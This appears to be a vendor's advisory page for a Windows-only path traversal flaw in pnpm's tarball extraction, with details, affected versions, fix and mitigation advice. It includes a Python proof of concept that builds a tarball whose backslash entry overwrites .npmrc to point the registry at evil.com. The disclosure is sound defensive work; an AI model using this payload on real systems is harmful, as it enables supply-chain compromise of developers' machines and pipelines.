CVE-2026-23889 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
pnpm has Windows-specific tarball Path Traversal
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23889.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-23889 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpmDescription
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}
A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)
- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)
PoC
- Create a malicious tarball with entry
package/foo\..\..\.npmrc - Host it or use as a tarball URL dependency
- On Windows:
pnpm install - Observe
.npmrcwritten outside package directory
import tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())
Impact
- Windows pnpm users
- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
- Can overwrite
.npmrc, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d45.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 10.28.1npm install pnpm@10.28.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 10.28.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23889 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-23889 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-23889. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-23889 in your dependencies?
O3 Security finds CVE-2026-23889 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.